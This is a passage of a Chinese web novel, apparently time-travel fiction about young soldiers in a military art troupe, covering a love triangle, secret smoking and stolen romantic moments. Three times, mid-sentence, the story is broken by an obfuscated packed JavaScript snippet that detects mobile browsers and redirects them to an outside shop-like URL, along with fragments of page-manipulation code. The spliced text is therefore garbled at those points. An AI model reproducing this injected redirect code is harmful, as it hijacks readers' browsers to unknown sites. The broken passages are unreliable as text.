车厢另一头,闫展博还是那副淡淡的性子,和萧穗子坐在一起,偶尔聊上两句,声音压得很低。
陈灿被萧穗子和郝淑雯夹在中间,离兆悦隔着两三人的距离,想动也动不了,只能缩着身子,假装睡觉去了。
车上还有不少人没睡,三三两两聊着演出的事,或是家乡的闲话。
兆悦、杭春明、杨铮三个知情的,凑在一处,用只有彼此能听清的气声,暗戳戳地聊起了心事。
杭春明先开的口,指尖在膝盖上轻轻敲着,语气急得不行:“怎么办?这一回去,那谁肯定还在。”
兆悦低着头,手指无意识地抠着军绿色裤子的缝线,一言不发。
杨铮看了她一眼,又扫了扫四周,理性地分析道:“来的原因,咱们心里都清楚。但这事,关键还在你……你打算怎么处理?”
这话像针,扎在兆悦心上。
她依旧垂着眸,睫毛颤了颤,还是没说话。
杭春明更急了,手肘轻轻碰了碰她的胳膊,压着嗓子催:“别逃避了!等人家真找上门来问,那时候不就全乱了?”
兆悦终于抬起头,眼眶微红,声音轻得像一阵风,却带着十足的无奈:“我现在……一点也不想怎么样。但是他什么情况,我是真的不知道。”
他们不敢说名字,不敢说得太直白,只能用“他”“那人”来指代。
车厢里的嘈杂声裹着他们的低语,一路颠簸,一路纠结,直到车子驶入小镇,也没聊出个像样的结论。
车停稳,分队长一声令下,所有人拎着行李和演出道具下车。
小镇的风带着泥土和炊烟的味道,吹在脸上,稍微驱散了些车厢里的沉闷。
大家按照安排,先去驻地休整,等着晚上的演出。
55. 借火
杭春明嘴上急着催兆悦,心里其实早就偏得厉害。
他是打心底里觉得,齐威才是最配兆悦、最能护她一辈子的人。
都是一个大院长大的,知根知底,家世不差,人又正派上进,对工作一板一眼,对感情更是克制又长情。
当年兆悦和齐威那一段,是杭春明这辈子第一次亲眼看见的、干干净净的爱情——不吵不闹,却处处都是惦记,一封信、一句话、一个眼神,都稳当。
在他眼里,齐威这种人,就是奔着结婚去的。
认准一个人,就是认死理,不会变。
就算以后日子归于平淡,柴米油盐,他也不会乱来,更不会辜负。
更何况,那是兆悦放在心上很多年的影子,像现实里那个没结果的少年,又像这段人生里真正动过心的初恋。
初恋这东西,在杭春明看来,本来就和别人不一样。
他自己十四岁时,也偷偷喜欢过隔壁大院的姐姐,这么多年过去,对方说不定早已结婚生子,可那份记忆,依旧是特别的。
他不是不明白,现在兆悦是和陈灿在一起了。
他也看得出来,陈灿是真喜欢、真在乎兆悦。
当年前线传来误报,说兆悦牺牲,陈灿那副魂不守舍、整个人脱形、茶饭不思的样子,杭春明到现在都记得。
可男人看男人,最准的就是直觉。
杭春明总觉得,陈灿不稳。
那时候的疯魔,是热恋当头,又遇上生死消息,冲击力太强。
可真要放到一辈子里,放到柴米油盐、前途选择、现实压力里,陈灿还能不能像现在这样一心一意?还会不会得到了就不珍惜?
杭春明心里打了个大大的问号。
婚姻在他眼里,本就是人生第二次投胎,是一辈子的安稳。
陈灿的喜欢是真的,热烈也是真的,就是不够稳妥。
齐威不一样。
就算感情没那么轰轰烈烈,以他的性格,也会守到底。
这次能一路调过来,追到文工团,就已经说明一切——他看重承诺,把兆悦放在心上,是真的想和她有以后。
所以杭春明一次次急着提醒兆悦,根本不是让她随便打发掉齐威。
他是真心觉得:这人都追来了,这么专一、这么看重你,你真该好好考虑。
如果齐威真要带她走,回大院、回老家,安安稳稳过一辈子,有什么不好?
安稳、踏实、受宠、不被辜负。
这是他能想到的,对兆悦最好、最不会受伤的一条路。
只是这些心里话,他不能明说,只能在三个人时,私下压低声音,一遍遍地急:“别逃避了,真找上门,你就不得不决定了!”
他是在替兆悦慌,也是在暗示她选一条他眼里最稳妥的路。
兆悦不是听不出杭春明话里的偏向,她只是不敢接,也不能接。
她对齐威的感情,从来不像旁人眼里那样简单干净。
在别人看来,那是大院里青涩美好的初恋;可在她心里,那团情绪乱得像麻。
齐威身上,一直背着她现实里那个没结果的少年的影子。
她到现在都分不清,自己当年动心的,是眼前这个写信的齐威,还是她把对现实里那场无疾而终的暗恋、遗憾、不甘,全都一股脑投射在了他身上。
如果这一切发生在来文工团之前、遇见陈灿之前,她会毫不犹豫选齐威。
不只是为了圆自己现实里的遗憾,更是因为她清楚——齐威稳、踏实、认死理,说了回来就一定会回来,说了等就不会辜负。
可她遇见了陈灿。
这是改变不掉的事实。
她对陈灿,一开始更是一笔清醒的算计。
她知道他家底好,知道电影里他后来飞黄腾达,一开始只是把他当退路、安稳、保障,几乎全是利用,没半点真心。
可一天天相处,一次次风波,生死消息、日夜陪伴磨下来,她不得不承认——她是真的动心了,动得很真、很深。
真要让她现在选,她心里那杆秤,其实已经悄悄偏向了陈灿。
她想留下来,想和陈灿走下去。
这和杭春明心里那条“最稳妥的路”,完全背道而驰。
杭春明急,是因为他旁观者清,却撼动不了兆悦的选择。
他一急,藏了这么久的真实性子就压不住了。
这个年代,文工团里抽烟的人极少,也就两三个二十多岁的老兵。
这帮十七八岁的男兵还嫩得很,顶多跟着老兵懵懵懂懂学两口,远谈不上熟练。
谁也想不到,在所有人眼里最乖、最活宝、像个小老弟的杭春明,居然会抽烟。
这事还要怪兆悦。
他们四个大院孩子,在外人眼里最懂事,私底下最叛逆。
兆悦来自现代,成年已久,抽烟、喝酒、赶时髦样样都沾,就算在这个年代一次没做过,那股离经叛道的劲儿,早就悄悄影响了身边人。
杭春明十四五岁,就跟着她那股子劲儿,偷偷学会了抽烟。
夜里休整,大家三三两两地散步、闲聊,明天上午才演出。
杭春明还想再劝兆悦两句,刚开口,郝淑雯、萧穗子、林丁丁一行人就走了过来,陈灿、朱克也在其中。
话到嘴边没法再说,心里那股烦闷堵得他发慌。
他没说话,手熟练地伸进口袋,摸出一盒烟,又摸出火柴。
“嚓”的一声,火苗窜起。
火光照亮一圈人震惊的脸。
杭春明眼皮都没抬,把烟点上,深深吸了一口,再熟练地吐出一团白雾。
火光一灭,杭春明叼着烟吸了一口,白雾缓缓吐出来。
平日里那个活宝似的小老弟,此刻脸上半分笑意都没有,沉默得近乎陌生。
郝淑雯最先咋呼起来,眼睛瞪得溜圆:“杭春明!你你你——你居然会抽烟?!”
萧穗子皱了下眉,轻轻扇了扇面前的烟味,语气里全是不敢相信:“春明,你什么时候学会的这个呀……”
林丁丁也跟着惊道:“哎哟,真是看不出来,平时最乖的就是你了。”
卓玛凑过来,一脸好奇:“你藏得也太深了吧!”
朱克拍了他胳膊一下:“可以啊你,学会这手了?”
一圈人围着他惊问,换作平时,杭春明早嬉皮笑脸贫回去了。
可今天,他只是垂着眼,指尖夹着烟,连表情都懒得装。
“就会呗。”
他语气平平,淡得不像他。
萧穗子被烟味呛得轻轻偏过头,杭春明一眼看在眼里,语气难得稳重:“呛到你了?我去边上
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309137|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抽。”
说完他抬脚就要走。
走到兆悦身边时,他脚步顿了顿。
夹着烟的那只手抬起来,指节轻轻点了点兆悦,姿势老到又沉郁,只低声说了一句:“唉,你自己想清楚。”
一句话,不轻不重,却像敲在心上。
然后他头也不回,往暗处走去。
剩下一群人全愣在原地。
郝淑雯一头雾水,立刻追问:“什么想清楚?你们俩打什么哑谜呢?”
萧穗子、林丁丁、卓玛也面面相觑,都没听懂。
陈灿站在一旁,眉头轻轻皱起。
他没说话,可眼神里明明白白写着一行:到底怎么回事?
兆悦站在原地,一言不发。
杭春明抽烟的样子,她不是没见过,只是已经很久、很久没见他这般沉郁。
她心里清楚,他不是真的想抽烟,他是替她急。
她越含糊,他越担心;她越逃避,他越坐不住。
远处的树影下,杭春明还在一口一口抽着,烟火明灭。
兆悦收回目光,对着围上来的一群人,只淡淡敷衍了几句:“没什么,一点小事。”
语气平静,听不出情绪。
众人看她这副模样,再看看远处沉默得反常的杭春明,都只当是这俩从小一起长大的姐弟头一回闹了别扭。
以前他俩好得跟一个人似的,从没红过脸、冷过场,今天这气氛,实在不对劲。
大家心里再好奇,也不好多追着问,只能各自散开。
人群里,陈灿走到兆悦身边,眼神里带着明显的担心。
兆悦迎上他的目光,还是那句:“真没什么,你别多想。”
她说得平静,心里却乱成一团。
一个是为她拼尽安稳的旧人,一个是她动了真心的现任。
一个在远处替她抽着闷烟,一个在眼前默默担心她。
而她,只能把所有话,全咽进肚子里。演出一结束,全队连夜上车返程。
车厢里一路颠簸,气氛沉得厉害。
杭春明全程没怎么说话,车一开稳,他就径直挤到后斗最外头,靠着冰冷的车尾板,又摸出烟点上。
火光在夜里一闪,他吸得很深,吐出来的全是闷火。
没一会儿,杨铮也走了过来。
他脸色也好不到哪儿去,眉头一直轻轻锁着。
杭春明看都没看,直接递过去一支烟。
杨铮伸手接了,动作自然得不像第一次。
两人凑在一起借火,“嚓”地一声,火苗映着两张少年老成的脸,动作熟门熟路,一气呵成。
这一幕,把车厢里偷偷看过来的人,惊得差点掉了下巴。
杭春明会抽烟已经够离谱了——他平时跳脱、爱耍宝,大家只当是小孩学坏。
可杨铮是什么人?
一向温和有礼、干净斯文、玉树临风,连说话都轻声细语,是队里公认的稳重君子。
现在,他居然也熟练地夹着烟,沉默地吸着,和杭春明并肩靠在车尾,一言不发。
再好奇的人,这会儿也都识趣地闭了嘴。
谁都看得出来,这两位是真的心烦,谁上去搭话,谁就是自找没趣。
夜色里,只有两点烟火,一明一暗,跟着颠簸的车子,一路沉默回营。
56. 安心
回到文工团,车马劳顿的疲惫被一股热乎的水汽冲散。
澡堂的水带着淡淡的硫磺味,兆悦洗得慢,等她裹着毛巾、拎着洗漱用品出来时,天色已擦黑,营区的路灯刚亮,昏黄的光揉碎在潮湿的空气里。
门口的梧桐树下,杭春明倚着树干站着。
他看见兆悦出来,只直起身,迈步朝她走过来。
没有多余的寒暄,也没有往日的嬉皮笑脸,他走到她身边,声音压得很低,带着未散的沉郁,只吐出三个字:“排练厅。”
兆悦的心轻轻一沉。
不用问,她也知道是谁让他来喊的。
除了陈灿,不会有别人。
她抬眼看去,杭春明的脸色依旧不好,眉峰拧着,眼底藏着挥之不去的烦躁,还有一丝她熟悉的、却越来越强烈的不认同。
自从齐威来的那天起,这情绪就没从他脸上消失过。
在杭春明心里,齐威的出现,像一面镜子,照出了陈灿所有的“不稳妥”。
尤其是想到兆悦的终身大事,他更是半点都不想让她选陈灿。
那是他护着长大的悦儿姐,是该被放在稳妥的日子里好好珍惜的人。
可陈灿……总让他觉得,这份热烈背后,少了点能扛住一辈子风雨的笃定。
他没再多说,侧身让开路,率先离开。
兆悦独自推开排练厅的门,屋内只亮着一盏昏黄的侧灯,将空旷的空间晕染得温柔又安静。
陈灿早已等在那里,身形立在灯光下,目光在看见她的瞬间便牢牢落定,再也移不开。
整整两天,演出奔波、人群环绕,他们连一句单独的贴心话都没能说上,白天被琐事填满,一个黑夜在颠簸的车上擦肩而过,对正沉浸在热恋里的两人而言,每一分每一秒都是煎熬。
明明近在咫尺,却碍于场合与旁人,连靠近都要克制,这份压抑的思念,早已在心底攒得满满当当。
门轴轻响的刹那,陈灿即刻抬眼,四目相对的瞬间,所有隐忍的情绪都在此刻翻涌上来。
兆悦脚步不停,快步朝他走去,心跳随着距离的缩短愈发急促,空气中都弥漫着按捺不住的亲昵与想念。
没有纪律约束,没有旁人注视,偌大的排练厅里,此刻只容得下他们两个人。
他望着一步步走近的兆悦,嘴角不自觉地往上扬,眼里全是藏不住的温柔和急切,那份热烈直白坦荡,明晃晃地落在她身上。
他对齐威的到来一无所知,对兆悦心底的挣扎与纠结更是毫不知情,满心满眼,都只是终于盼来了独处的时光。
陈灿微微上前一步,目光温柔得能滴出水来,喉间轻动,连声音都带着压抑许久的缱绻,只想伸手将眼前的人拥入怀中,弥补这两日分离的所有缺憾。
陈灿的手臂一伸,兆悦便顺势撞进他怀里。他的掌心贴在她后背,力道不轻不重,将她牢牢圈住,下巴抵在她发顶,深吸了一口带着皂角香的气息,紧绷的肩线瞬间松弛。
“可算把你等来了。”他的声音闷在发丝里,带着点鼻音,“这两天跟丢了魂似的,台上候场都在找你。”
兆悦抬手圈住他的腰,指尖轻轻戳了戳他后背的肌肉,嘴角扬着:“谁让你把我丢给杭春明喊,我还以为你有急事。”
“急事就是抱你。”陈灿松开一点,低头看她,指腹轻轻蹭过她脸颊,“洗干净了?头发还湿着。”
他抬手帮她理了理额前的碎发,掌心的温度熨帖在脸颊上。
兆悦往他怀里缩了缩,故意掐了下他的腰:“就你嘴甜,刚分开两天,学会油嘴滑舌了?”
“跟你学的。”陈灿捉住她作乱的手,十指紧扣,“昨天在车上,我看见你坐在前排,想跟你说句话,结果你一回头,我就被队长叫去搬箱子了。”
“谁让你是团里的‘大力士’。”兆悦挑眉,故意逗他,“早知道我就跟队长说,我来搬,让你跟我说话。”
“那可不行。”陈灿捏了捏她的手,语气认真,“你细皮嫩肉的,搬坏了我心疼。”
兆悦心里一暖,却故意板起脸:“就你会说。对了,今晚排练厅没人吧?别待会儿有人来,撞见我们这样。”
“放心。”陈灿低头,鼻尖蹭了蹭她的鼻尖,气息交缠,“我跟值班员说要练小号,锁了门的。”
他说着,轻轻晃了晃两人交握的手,眼里满是笑意:“这两天想我没?”
兆悦仰头看他,故意拖长音:“不想——”
话音未落,陈灿便收紧手臂,把她抱得更紧,低头在她嘴角啄了一下,力道轻柔,带着点撒娇的意味:“再说一遍?”
兆悦被他吻得心头一颤,脸颊发烫,却还是嘴硬:“就不想,你能怎么样?”
“那我就一直抱到你想为止。”陈灿的下巴抵着她的额头,声音温柔,“反正现在时间都是我们的。”
他松开一点,牵起她的手,放在自己心口:“你听听,跳得多快,都是因为你。”
兆悦的指尖贴着他温热的胸膛,感受着有力的心跳,嘴角的笑意藏不住:“贫嘴。”
“只对你贫。”陈灿低头,又在她脸颊亲了一口,“刚才在门口,我看你走过来,步子都带着风,是不是也想我了?”
兆悦轻轻挣开他的手,却没走远,只是退了半步,看着他,眼里闪着狡黠的光:“陈灿同志,请注意军容风纪。”
陈灿一愣,随即笑出声,上前一步又把她拉进怀里:“在排练厅,锁着门,就我们两个人,讲什么军容风纪?”
他低头,鼻尖蹭着她的耳廓,声音压低,带着点缱绻:“兆悦,我真的想你了。”
兆悦的心跳漏了一拍,抬手抱住他的脖子,脸颊贴在他肩上,声音软糯:“我也想你,想得紧。”
陈灿的手顺着她的后背轻轻摩挲,语气带着点委屈:“以后再也不要分开这么久了,演出也不行。”
“那可由不得我们。”兆悦轻轻拍了拍他的背,避开了可能涉及检查的话题,转而调侃,“下次演出,我就跟团长申请,让你当我的专属搬运工,这样就能天天见了。”
“专属搬运工我也愿意,能跟你合乐,我更是求之不得。”陈灿低头在她唇上印下一个温柔的吻,语气坦荡又认真。
兆悦被他逗笑,抬手轻轻推了推他的胸口:“就你嘴甜,合乐还能让你这么开心?”
“当然开心。”陈灿握紧她的手,指尖轻轻摩挲着她的手背,眼里满是温柔,“能站在你身边,跟你一起完成一段曲子,比什么都好。”
兆悦心头一软,抬眼望着他,眼底漾着浅浅的笑意。
兆悦被他逗笑,抬手轻轻推了推他的胸口:“就你会说,天天把合乐挂在嘴边。”
“本来就是真心话。”陈灿笑着将她重新揽紧,鼻尖蹭了蹭她的额角。
陈灿像是忽然想起什么似的,随口多问了一句,“对了,这两天我看杭春明状态不太对劲,老是心神不宁的,我还撞见他在角落抽烟,你知道是出什么事了吗?”
兆悦心头轻轻一紧,脸上的笑意微微顿了顿,下意识便想把话题绕开。
她轻轻拍了拍他的胳膊,语气轻描淡写地搪塞:“谁知道呢,大概是最近排练压力大吧,队里的事我也不太清楚。”
怕陈灿再追问下去,她立刻
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309138|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
抬起眼,故作严肃地直视着他,主动转开话头质问:“倒是你——我问你,你抽不抽烟?”
陈灿被她这突如其来的一本正经问得一怔,随即低笑出声,伸手捏了捏她的脸颊,满眼坦荡:“我什么时候碰过那东西?从来不抽,你还不相信我?”
兆悦故意仰起脸,皱着鼻子摇头:“我不信,嘴上说不抽,谁知道背地里有没有。”
她说着,双臂猛地收紧,牢牢搂住他的腰,整个人轻轻贴上去,鼻尖凑近他的脖颈,又慢慢移到他耳畔,细细地嗅了嗅。
温热的呼吸扫过皮肤,陈灿身子微微一僵,立刻就明白她是在故意逗他,眼底笑意更深,低头轻声问:“闻到了吗?”
兆悦埋在他颈间,闷闷地摇头:“没闻到,一点烟味都没有。”
陈灿低笑一声,声音哑了几分,带着几分捉弄的温柔:“傻姑娘,真抽烟的人,这样闻可闻不出来。”
兆悦微微抬头,眼神里带着几分疑惑:“那要怎么闻?”
陈灿看着她近在咫尺的眼睛,笑意更深,抬手轻轻扶着她的后脑,慢慢凑近:“应该这样闻……”
他的声音落定,扶在她后脑的手轻轻施力,将她微微带向自己。
没有丝毫犹豫,陈灿低头,温热的唇瓣精准地覆上兆悦的。
这个吻不似方才那般浅尝辄止,带着几分故意的缱绻,又掺着满心难掩的急切。
他的唇齿温柔地厮磨着她的,气息清冽,混着皂角香,将她整个人包裹。
兆悦的手臂下意识地收得更紧,指尖攥住他后背的衣料,呼吸瞬间乱了节拍。
温热的触感从唇间蔓延开来,一路烧到耳根,连带着心跳都变得又重又快。
不知过了多久,陈灿才缓缓退开,额头抵着她的,指腹轻轻摩挲着她泛红的唇角,眼底满是笑意,声音低哑又带着几分得意:“这样,闻到了吗?”
兆悦的脸颊烫得惊人,偏过脸躲开他的目光,却还是忍不住抬手捶了捶他的胸口,语气带着几分娇嗔:“陈灿!你耍无赖!”
“哪有耍无赖。”陈灿低笑,重新将她揽进怀里,下巴抵着她的发顶,掌心轻轻拍着她的后背,“这才是最准的法子,保证一点烟味都藏不住。”
他顿了顿,又补充道,语气认真:“放心,我这辈子都不会碰那东西,省得你以后还要这样‘检查’我。”
兆悦脸颊发烫,埋进他颈窝轻轻喘着气,鼻尖萦绕的全是他干净清浅的气息,心里甜得发颤。
可这份安稳与欢喜没持续几分钟,脑海里冷不丁撞进齐威两个字,她心头猛地一沉,刚刚放松的情绪瞬间又揪紧了。
愁绪悄无声息漫上来,压得她有些喘不过气。
她靠在陈灿怀里,脑子里乱哄哄地转——该怎么跟他说?实话实说吗?
可齐威的来意本就敏感,牵扯到军务参谋检查,一旦说出口,陈灿就算嘴上不说,心里也一定会在意,说不定还会生气、会担心,平白添一场矛盾。
现在他什么都不知道,还能这样安安稳稳抱着她。
兆悦咬了咬下唇,心里很快有了主意。
多一事不如少一事,这件事,瞒着就好。
不用讲,不用提,更不用让他跟着烦心。
她自己私下里找齐威说清楚,把话讲明白,让他尽早离开,不再来打扰,一切就能回到原来的样子。
只要她处理得干净利落,就不会影响到她和陈灿,更不会生出不必要的误会。
想到这里,她悄悄收紧了环在陈灿腰上的手,把脸埋得更深了些,强行压下心底的不安,只愿这一刻的温暖能再久一点。
57. 思虑
兆悦从排练厅出来,一路压着心底的事回到宿舍,刚推开门就愣了愣。
屋里灯亮得很,平日里散着的人今天竟全在,连卓玛都从隔壁寝室凑了过来,几个人围坐在一起,一看就是在等她。
郝淑文眼尖,最先看见她进来,立刻招了招手,语气里满是按捺不住的好奇:“可算回来了!我们正说呢,就等你一个人!”
兆悦心里咯噔一下,面上却不动声色,放下东西笑着问:“等我干什么呀,这么大阵仗?”
“还能干嘛,问你正事!”郝淑文往前凑了凑,声音压得低了些,“今天下午跟晚上,你有没有发现杭春明跟杨铮不对劲?俩人居然躲在角落抽烟,哎呦,没见过他俩竟然这样啊,原来我都没看出来他俩还会这一手。”
这话一出,旁边的人也跟着附和,你一言我一语地议论起来。“是啊,太反常了,平时看着多规矩啊。”
“我也看见了,那动作很熟,根本不像刚学的。”
卓玛也睁着大眼睛点头,一脸困惑:“兆悦,你跟他们走得近,你知道是出什么事了吗?”
兆悦指尖微微一紧,脸上却依旧挂着轻松的笑。
她不能说实话,一旦开口,麻烦只会越来越大。
她轻轻摇了摇头,语气随意:“我哪儿知道啊,男生的心事谁猜得透,估计就是遇上什么烦心事了,一时憋得慌吧。”
怕她们再追问,兆悦立刻笑着摆了摆手,故意用玩笑把话题岔开:“你们可别被杭春明平时那副样子骗了,那小子看着天天耍宝没心没肺,骨子里叛逆着呢,偶尔抽一次也不奇怪。”
坐在床边的林丁丁听完噗嗤一声笑了出来,伸手点了点空气,打趣道:“哎哟,以前还总把他当没长大的小孩看,没想到啊没想到,咱们的小机灵鬼还偷偷学坏了。”
众人跟着笑作一团,你一句我一句地调侃着杭春明平日里的调皮模样,刚才围绕着抽烟的疑惑,就这么轻轻松松被绕了过去。
兆悦垂在身侧的手悄悄松了松,跟着笑了两声,心底那股沉甸甸的不安,却依旧没有散去。
第二天一早的训练与合练,整个文工团都绷着一根弦。
那位军务处参谋准时再度前来视察,从踏入排练楼的那一刻起,所有人都下意识挺直了脊背,严阵以待,连呼吸都放轻了几分。
旁人的紧张,是出于纪律与规矩,而兆悦的紧绷里,却掺了几分旁人没有的慌乱与忐忑。
她不敢抬头去看齐威的方向,只垂着眼调整站位,指尖微微发紧。
怕被注意,怕被单独问话,更怕昨夜压下的事,在这一刻毫无预兆地翻上来。
好在一切都还算顺利。
参谋一行人先检查了排练厅的秩序与节目呈现,舞台状态规整,合练流畅整齐,挑不出半分疏漏。
先前的问题早已处理妥当,此刻看上去干干净净,一切如常。
可检查并未就此结束。
看过节目,接下来便是内务整理与日常作风。
旁人是紧张纪律,她是实打实的心虚,目光一碰到齐威的身影,就立刻慌慌移开,只觉得手脚都没处放。
越是怕,越是不安,她就越想靠近陈灿。
好像只要待在他身边,那些压在心头的麻烦、慌张、忐忑,都能轻一点。
中午解散吃饭,大家三三两两往食堂走,兆悦心里早有了主意。
她拉住正要去吃饭的杭春明,语气带着点急切,又不好明说缘由,只低声叮嘱:“你等会儿吃饭的时候,帮我跟陈灿说一声,我在排练厅后台等他。”
杭春明看她神色不对,也没多问,只点了点头:“知道了,我帮你传到位。”
兆悦松了口气,却没跟着去食堂。
她几乎没吃什么东西,随便应付了两口,便一个人早早回到排练厅后台,安安静静地等着陈灿。
四周安安静静,只有窗外偶尔吹过的风声。
她站在阴影里,一颗心悬悬的,既盼着陈灿快点来,又怕自己这副心事重重的样子,被他一眼看穿。
陈灿一收到杭春明捎的话,放下碗筷就往排练厅赶,心里又纳闷又有点按捺不住的期待。
这还是头一回——明明是白天训练日,大中午的,人来人往,她竟特意把他叫过来。
往常他俩总要等到夜深人静、四下无人时才敢悄悄靠近,今天这么反常,由不得他不多想。
他脚步放轻,绕到后台,一眼就看见站在阴影里的兆悦。
心里那点疑惑刚冒出来,看见她的瞬间就软了下去。
再怎么好奇,再想不通,只要是她叫他,他怎么可能不来。
本就是偷偷喜欢、偷偷靠近的年纪,一天到头能正大光明待在一起的时间少得可怜。
只要能和她多待一会儿,哪怕只是几分钟,他都心甘情愿。
陈灿放轻脚步走过去,声音压得低低的,带着点不易察觉的温柔:“我来了。怎么了,突然找我?”
陈灿被她这突如其来的浓烈吻得浑身一僵,下一秒便立刻反应过来,伸手稳稳托住她的后腰,将她紧紧扣在自己怀里,俯身温柔又用力地回应着她。
他能清晰感受到她的慌乱——指尖微微发颤,抱着他的力道却紧得不肯松开,呼吸带着不易察觉的急促,全然不像平日里那般从容俏皮。
她不是在撒娇,不是在逗弄,是真真正正地在他身上抓着一份安稳,一份能压下她所有不安的依靠。
他的心猛地一揪,又软又疼。
直到两人都有些喘不过气,兆悦才微微松开唇,额头抵着他的额头,眼尾泛着淡淡的红,气息不稳地埋在他颈窝,双臂依旧牢牢环着他的脖子不肯放,整个人像找到了港湾一般,紧紧贴着他。
陈灿没有追问,只是抬手顺着她的后背轻轻摩挲,一下又一下,动作温柔又安稳,声音压得极低,哑得发烫:“怎么了?是不是受委屈了?”
他不问发生了什么,不问她为何大中午把他拉到这隐蔽角落,只先安抚她。
兆悦把脸埋得更深,鼻尖蹭着他干净的衣领,贪婪地闻着他身上让人安心的气息,轻轻摇了摇头。
声音软软的,又闷,带着一丝劫后余生般的依赖:“没什么……就是想你了。”
想待在你身边,想抱着你,想什么都不用想,只要你在就好。
陈灿听得心口发软,收紧手臂将她抱得更牢,下巴轻轻抵在她的发顶,刚要开口,怀里的人却率先抬起头。
兆悦眼底还带着未散的水汽,脸颊红扑扑的,半点没有平日里的冷静模样,反而像块化了的糖,黏黏糊糊地蹭了蹭他的鼻尖。
她手指勾着他的耳垂轻轻晃了晃,声音软得发甜,带着几分刻意的发嗲:“就是想你了,想得厉害,只想一直亲你,亲不够。”
这话又直白又热烈,比任何打情骂俏都要猛烈。
换作平时,陈灿早已能从容地跟她互撩几句,可此刻被这样直白地剖白心意,他还是瞬间破了功。
耳尖以肉眼可见的速度红透,连带着脖颈都泛起一层薄红,原本环在她腰上的手不自觉地收紧,竟一时语塞,只低低地“嗯”了一声,耳根烫得厉害。
他别开眼,不敢看她那双亮晶晶的眸子,声音带着几分羞赧的沙哑,却还是顺着她的意,微微低头凑近她:“那……就再亲会儿。”
兆悦一听这话,眼底瞬间漾开又甜又软的笑意,再也按捺不住心底的滚烫。
她不等他再开口,伸手轻轻扣住他的后颈,主动凑上去,再次深深吻了上去。
这一吻比刚才更沉、更烫,不再是慌乱里的汲取,而是满含依恋的交付。
她轻轻贴着他的唇瓣,温柔又认真地辗转,舌尖轻轻触碰厮磨,带着全然的信任与依赖。
深深吮吸着属于他的清冽气息,像是要把这段时间所有的不安、所有的想念,全都融进这一场无声的亲昵里。
陈灿身子微微一僵,随即反手将她更紧地拥在怀中,喉间溢出一声极轻的闷响,下意识地低头回应她。
原本还带着羞赧的耳尖依旧发烫,可此刻所有的局促都被她温柔的攻势揉碎,只剩下宠溺与动容,任由她抱着自己,沉溺在这无人打扰的温存里。
直到两人都腿软发颤,再也受不住这般浓烈的亲昵,才在细碎难耐的低哼里,缓缓分了开来。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17309139|198747||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
后台静得只剩下彼此急促的喘息,一声叠着一声,烫得空气都发颤。
陈灿垂眸看着她,喉结重重滚动了一下,原本线条利落的唇瓣微微张着,竟半天合不上,眼底翻涌着未散的悸动与慌乱,连呼吸都乱了节奏。
兆悦也好不到哪里去,唇瓣被吻得泛红微肿,泛着一层水润的光,脸颊烧得滚烫,眼神软软地蒙着一层水汽,连站着都要依靠着他才能稳住身形。
陈灿好不容易稳住急促的呼吸,喉结又滚了滚,声音哑得像浸了热水,带着没褪去的颤意,低声开口:“你……你今天到底是怎么了?”
他抬手,指尖轻轻碰了碰她泛红发烫的唇角,动作又轻又小心,眼底满是没藏住的在意,还有一丝被她撩得手足无措的慌乱。
“从来没……没这样过。”
兆悦偏不往那些烦心事上想,只仰着脸看他,眼角眉梢全是刚被吻过的餍足,气息还没喘匀,就轻轻开口:“你不喜欢吗?”
她眼神软得发黏,唇瓣微肿,脸上还浮着未褪的潮红,每一处模样都在明晃晃勾着他。
陈灿只看了一眼,整个人都绷住了,哪里还受得了半分。
他喉结狠狠一滚,哑得几乎发不出声,伸手就又把她往怀里按了按,声音又低又烫:“……喜欢。怎么会不喜欢。”
两人又在后台角落里黏黏糊糊依偎了好一会儿,额头抵着额头,指尖缠着手心,呼吸慢慢平复,可心跳还是乱得不像话。
虽说是没人看见,但大中午的,外面人来人往,随时都可能有人绕到后台。
再舍不得,也不敢多留。兆悦先轻轻推了推他,声音还软着:“走吧,再待下去要被人撞见了。”
陈灿不舍地捏了捏她的腰,最后低头在她唇角轻轻啄了一下,才哑声应:“嗯,你先走,我等一会儿再出去。”
兆悦点点头,理了理有些乱的衣领,又抬头看了他一眼,眼底还藏着没散的笑意,才轻手轻脚从角落绕出去。
陈灿靠在墙上,听着她的脚步声渐渐远去,摸了摸自己还发烫的唇,半天没缓过神,也才慢慢走出去。
下午排练,阳光正好。
两人都已经回过劲,可一想起中午那阵,脸就控制不住地发烫。
各自低着头,认真摆弄手里的乐器,吹号的吹号,练琴的练琴,从头到尾都没敢抬头看对方一眼,生怕一对视,那点藏不住的心思就全露出来。
旁人没察觉,郝淑雯眼尖,一眼就盯上了陈灿。
